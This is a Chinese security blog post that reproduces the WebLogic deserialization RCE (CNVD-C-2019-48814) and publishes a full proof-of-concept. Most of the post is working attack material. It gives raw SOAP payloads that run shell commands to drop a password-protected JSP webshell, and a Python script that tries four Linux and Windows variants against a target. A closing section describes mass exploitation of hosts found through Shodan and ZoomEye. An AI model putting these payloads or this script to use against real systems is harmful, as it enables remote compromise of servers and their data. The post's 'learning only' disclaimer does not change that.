CNVD-C-2019-48814 Weblogic RCE复现及POC
文章最后更新时间为:2019年04月26日 21:25:52
和年前thinkphp5的rec一样,这次的weblogic rce也影响较大,趁着校内的CTF毫无头绪,先来复现一波。
0x01 本地复现
- 目标机:win10/weblogic 12.1.3
- 攻击机:win10本地
首先安装weblogic之后,访问本地http://127.0.0.1:7001/_async/AsyncResponseService
如下:
当访问漏洞路径存在以上页面,即有可能存在漏洞。
接下来尝试写weblshell:
首先发送以下报文,用来写一个webshell.txt
POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
接着发送报文,将webshell.txt的内容解码写入webshell.jsp。
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
执行命令检测一下是否成功:
http://127.0.0.1:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
同时本地weblogic的目录也可以看到生成的文件:
注意的是,上述写webshell的时候写的是默认路径servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/
,当路径修改过时,则需要根据情况调整。
除了上面的直接写shell文件,还可以直接反弹shell,或者上传webshell,具体可参考https://www.jianshu.com/p/c4982a845f55
0x02 POC编写
为了方便直接采用写shell的方式,对于linux和windows都有两种写shell的方式,因为无法确定目标是windows还是linux,所以这里对每个目标都检验四次,速度相对来说比较慢,对于多个目标或者网段进行检验的时候,可以自己写多线程,直接调用poc函数即可。
完整的poc脚本如下,也可看github:https://github.com/saucer-man/saucerframe/blob/master/scripts/weblogic_2019_48814.py
from urllib.parse import urlparse
import requests
import time
post_headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
"Content-Type": "text/xml",
}
get_headers ={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
}
def linux_check_1(url, webshell_path):
linux_payload_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell1.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
try:
attack_url = url + '/_async/AsyncResponseService'
requests.post(url=attack_url, data=linux_payload_1, headers=post_headers, timeout=5, verify=False)
jsp_path = url + '/_async/webshell1.jsp'
time.sleep(1)
r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
if r.status_code == 200:
webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
else:
pass
# print("第一种方式失败")
except Exception as e:
pass
# print("第一种方式出错")
# print(e)
def linux_check_2(url, webshell_path):
linux_payload_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
try:
attack_url = url + '/_async/AsyncResponseService'
requests.post(url=attack_url, data=linux_payload_2, headers=post_headers, timeout=5, verify=False)
jsp_path = url + '/bea_wls_internal/webshell2.jsp'
time.sleep(1)
r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
if r.status_code == 200:
webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
else:
pass
# print("第二种方式失败")
except Exception as e:
pass
# print("第二种方式出错")
# print(e)
def windows_check_1(url, webshell_path):
windows_payload_1_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
windows_payload_1_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
try:
attack_url = url + '/_async/AsyncResponseService'
requests.post(url=attack_url, data=windows_payload_1_1, headers=post_headers, timeout=5, verify=False)
time.sleep(1)
requests.post(url=attack_url, data=windows_payload_1_2, headers=post_headers, timeout=5, verify=False)
time.sleep(1)
jsp_path = url + '/_async/webshell3.jsp'
r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
if r.status_code == 200:
webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
else:
pass
# print("第三种方式失败")
except Exception as e:
pass
# print("第三种方式出错")
# print(e)
def windows_check_2(url, webshell_path):
windows_payload_2_1 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
windows_payload_2_2 = r"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>"""
try:
attack_url = url + '/_async/AsyncResponseService'
requests.post(url=attack_url, data=windows_payload_2_1, headers=post_headers, timeout=5, verify=False)
time.sleep(1)
requests.post(url=attack_url, data=windows_payload_2_2, headers=post_headers, timeout=5, verify=False)
time.sleep(1)
jsp_path = url + '/bea_wls_internal/webshell4.jsp'
r = requests.get(url=jsp_path, headers=get_headers, timeout=5, verify=False)
if r.status_code == 200:
webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path))
else:
pass
# print("第四种方式失败")
except Exception as e:
pass
# print("第四种方式出错")
# print(e)
def poc(url):
# 首先对url进行处理
# url = "http://www.example.org:7001/default.html?ct=32&op=92&item=98"
# --> http://www.example.org:7001
if url[:4] != "http":
url = "http://" + url
o = urlparse(url)
url = o.scheme + "://" + o.netloc
# 首先判断attack_url是否可访问
try:
attack_url = url + '/_async/AsyncResponseService'
r = requests.get(url=attack_url, headers=get_headers, timeout=4, verify=False)
if r.status_code != 200:
return []
except:
return []
# 因为不知道目标是linux还是windows,所以直接都检验一遍
# 如果存在漏洞,则将shell路径保存在webshell_path中
webshell_path = []
linux_check_1(url, webshell_path)
linux_check_2(url, webshell_path)
windows_check_1(url, webshell_path)
windows_check_2(url, webshell_path)
return webshell_path
if __name__ =="__main__":
start_time = time.time()
url = "http://127.0.0.1:7001"
webshell_path = poc(url)
if len(webshell_path):
print("shell路径: ")
for i in webshell_path:
print(i)
else:
print("Not Vulnable")
print("\nscanned down with {}".format(time.time()-start_time))
运行结果如下:
测试网上的Linux靶机:
0x03 批量get
直接将poc挂在自写的poc框架下运行即可。
项目地址:https://github.com/saucer-man/saucerframe
运行结果:
- 检验一下本地:
- 利用shodan批量搜索
- 利用ZoomEye批量搜索:
注意:本项目用来交流学习,切勿用来做违法之事